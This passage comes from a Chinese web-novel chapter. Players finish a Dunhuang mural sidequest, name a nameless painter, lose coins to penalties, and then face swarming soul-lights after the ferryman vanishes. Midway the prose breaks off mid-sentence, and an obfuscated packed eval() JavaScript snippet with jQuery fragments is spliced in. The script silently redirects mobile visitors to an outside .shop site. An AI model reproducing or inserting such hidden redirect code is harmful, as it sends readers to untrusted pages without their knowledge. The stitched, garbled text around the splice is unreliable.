许念岔开话题，“那重点标记是什么意思？”
“你真的不考虑一下加入我们？也是，新人嘛，有疑虑很正常。”
虞秋递给许念一枚徽章，示意她收下。
“考虑好了，就在中转区用徽章联系我。”
许念接过这枚徽章，随手放进了口袋。动作就像在大街上接那些发传单小广告一样自然。
“被深渊重点标记，意味着他不能进入中转区，只能不停下副本。但副本的时间流速和深渊时无关，他被罚了四个月，粗略换算大概是不间断下几十个左右吧。”
许念想起之前虞秋说的话，猎杀者以掠夺为生。
“可你不是说猎杀者的实力居于所有文明之首吗？不间断下副本对他们来说好像不算惩罚，倒像是奖励。”
虞秋大笑。
“确实，但正由于猎杀者掠夺的本性，在深渊里结下了许多仇家。被深渊重点标记，意味着他所在副本，所接取的任务，所做的一切都会在中转区全部公开。你现在还觉得这是奖励吗？”
许念：........合着是这么个重点标记法啊。
怎么听着这么像现场直播。
【孤影：喂喂喂~还在吗~】
【清衍：我们按照你说的买通了一个有名望的高僧，把长在壁画上的绿蘑菇解释为了祥瑞之兆。那个画师被放出来了，现在地位两极反转。】
这么快？
【许念：你们怎么解释的？你们救了他，这关系怎么说也不一般了。旁敲侧击问一下他名字。】
【孤影：嘿嘿~这还多亏了清衍编故事的本事~】
【清衍：我自创了一本《佛说诸瑞经》，写着绿者慈悲之色也，光者智慧之显也。佛光蕈出，普度众生。然后花钱找人做旧埋在佛门重地，被人发现后，托人告诉方丈，这绿蘑菇名为佛光蕈，只有在佛法昌盛之地才会生长，是佛祖对画师虔诚的嘉奖。】
许念嘴角抽了抽。
不过这句绿者慈悲之色也，光者智慧之显也，编得不错，她正好很喜欢绿色。
【孤影：你是没看见方丈的表情~他站在壁画前看了半天，最后说了句此乃佛光化现，瑞应之相，然后亲自写了一道呈文送去官府~那些官兵本来想把画师砍头的，结果现在把他当活佛供着~】
【许念：名字呢？】
【孤影：这哥们被我们救了之后，对我们的态度明显好了很多。他说他确实没有名字，我和天使正寻思帮他取一个，这你老乡，你有想法吗？】
许念愣了一下，让她取吗？
敦煌那会儿的画师什么地位？
卑微，极其卑微。
大多数画工是社会中下层的工匠，没有宫廷画师的地位和待遇，领着微薄的报酬，在黑暗的洞窟里一笔一笔描画着佛国净土。以至于历史上关于他们的记载几乎是空白，后世只能从零星的壁画题记里寻找他们的身影。
在壁画里写上自己的名字，意味着地位低下的画匠也进入了佛教世界，与佛陀同处一幅画中，这在当时简直是不可想象的。
所以，一个画师没有名字再正常不过了。
她想了好一会儿，脑子里忽然转过一个念头。
【许念：你问问他最拿手的画是什么？】
【孤影：他说他画飞天最拿手，同行都说他笔下的天女眉眼藏风霜，像是从人间飞上去的。人间望尘土，佛国望云端，他此生就在这两端之间过了。】
人间的尘土仰望佛国之高远，而他偏偏就在尘土里描摹着佛国。
“那就叫望尘吧。”
【孤影：这名字不错啊~还挺有意境的~】
【清衍：确实符合这个文明的审美习惯，名字有典故，又有个人特色。】
【孤影：我以后开店要不要也给自己起个艺名？像什么大漠孤烟直，长河落日圆，听起来贼有韵味儿。】
虞秋早就在一旁等得不耐烦。
“任务完成了赶紧回来。”
【支线任务画壁无名已完成，奖励结算3w回声币。】
如今三个魂魄都已变成星闪状，白光闪过，孤影和清衍也传送了回来。
【支线任务墨染长城、画壁无名、铁面判官已全部完成】
【任务完成度评级：墨染长城S级、画壁无名B级、铁面判官A级】
【任务结算：玩家孤影、虞秋因严重违规，回声币总结算须扣除70%，其余玩家照常结算】
“我....你......”
孤影刚传送回来就听到这一噩耗，敢怒不敢言的样子逗笑了虞秋。
“让你抠抠搜搜的，早点花回声币完成任务，不好吗？反正这些任务奖励你又带不出去。”
“你好意思笑我？你不也扣了70%。”
“这点钱，你以为我在乎。”
许念：她在乎。
她很在乎。
为什么她只有300，她真的很不理解。
【任务面板已更新，请及时注意时间】
【任务一：帮助三个孤魂转世投胎，限时4天。】
【温馨提示：摆渡人最近心情非常不好，一次只能摆渡一人。】
【当前存活玩家人数：4/5】
许念盯着任务面板，除了人数减少，总感觉好像还有哪里不对劲。
“摆渡人呢？你们先传送回来的看没看见他人？”
孤影头顶着爱心小光环四处张望，试图通过头顶微弱的灯光在这大雾内寻找摆渡人的身影。
清衍站在河岸边缘，低头看着黑色的水面，“船也不见了。”
许念快步走到岸边，原本系在木桩上的那艘破旧木船已经消失了，只剩下一个空荡荡的绳结在水中轻轻摇晃。
黑色的河水无声无息地流淌。
许念念出那条温馨提示，“摆渡人可能已经去送某个魂魄过河了。”
“可是我们已经按照他的要求把三个魂魄弄到符合他的规则了啊，这就放我们鸽子，太过分了吧！”
河面上的黑雾越来越浓，那些魂魄的光点在雾中若隐若现，像是无数只眼睛在窥视着他们。许念总觉得那些目光不太友善，但又说不上来为什么。
“你们有没有觉得……”
许念压低声音，“那些魂魄在看我们？”
这句话说完，所有人都定睛看向那些若隐若现，飘散在雾中的光点。
河面上的光点开始缓慢移
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577177|204769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动，像潮水一样朝许念的方向涌来。成百上千的魂魄光点从四面八方飘来，在许念头顶上空形成一个巨大的漩涡，无声地旋转着。
孤影不自觉退了一步：“这是什么情况~”
“我们被它们看上了？”
许念站在风暴中心，发丝被狂风卷得四处飞扬，身上的衣袂猎猎作响。
她能感觉到这些光点没有恶意，可是它们为什么要在她们头顶盘旋。
【......走........】
“它们能发出声音？说得什么？”
虞秋似乎听见什么东西在发出声音，却不确定从哪里传出来的。
许念眉头紧皱，如果她没听错，这应当是某种神秘学的语言
在她大学时的一次暑假，导师带她去西南山区，拜访了某个隐世家族的最后一代传人，她掌握着一种早已失传的古文字。那是一种介于甲骨文和巫咒之间的符号系统，姜家人称之为灵文，说是通灵用的，能与亡者对话。
许念当时觉得这老婆婆是个神棍，但出于对导师的尊重，还是老老实实跟着学了半个月。她背了几百个符号的读音和含义，导师扔给她一堆拓片，让她自己对照翻译。坚信唯物主义的许念对这事并不上心，只记住了几个常见的单词。
如果没记错，那些光点说的话里有离开的意思。
“我只听得出来一个单词，是离开的意思。”
“离开？？！你真能听得懂这叽里咕噜的话？”
孤影好像非常怕这些光点靠近自己，他的身体在这密集的光点中扭成了麻花。
虞秋和清衍看了同时捂住了自己的眼睛，虞秋忍不住吐槽：“知道你们种族敬畏发光的生物，但至于敬畏成这样吗？”
许念没忍住笑出了声。
孤影的身体扭成了一个不可思议的角度，脑袋几乎转了半圈，四肢缩在一起，整个人看起来像一团被拧干的抹布。那些光点从他身边飘过时，他会猛地一缩，动作快得像触电。
“这不能怪我~”
孤影的声音从蜷缩的身体里传出来，可怜兮兮，“这是刻在基因里的本能反应~”
“有时间笑话我，不如想想这些光点让我们离开是什么意思？”
许念抬头看着那些光点，眉头皱得更紧了。
虞秋注意到许念的纠结，走到她身边，低声问道：“哪里不对吗？”
不是不对。
是“离开”这个单词前面还有主语。
她的直觉告诉她这些光点的意思应该不是让她们离开。但可惜那个暑假全摸鱼去了，学的单词都忘得差不多了，真是书到用时方恨少啊。
这只是她的个人猜测，说出来也没什么意义。
许念摇了摇头。
“没有，我只是在想接下来怎么完成任务。”
这时，清衍走了过来。
“骸被驱逐出副本的事情，你们聊过了吗？一般情况下，殴打副本npc被驱逐出副本，任务栏的玩家总人数会直接减一。”
虞秋立马反应过来，她震惊的视线对上清衍平静的眼睛。
“他不是因为违反规则被驱逐，是因为任务失败。”
“可.....”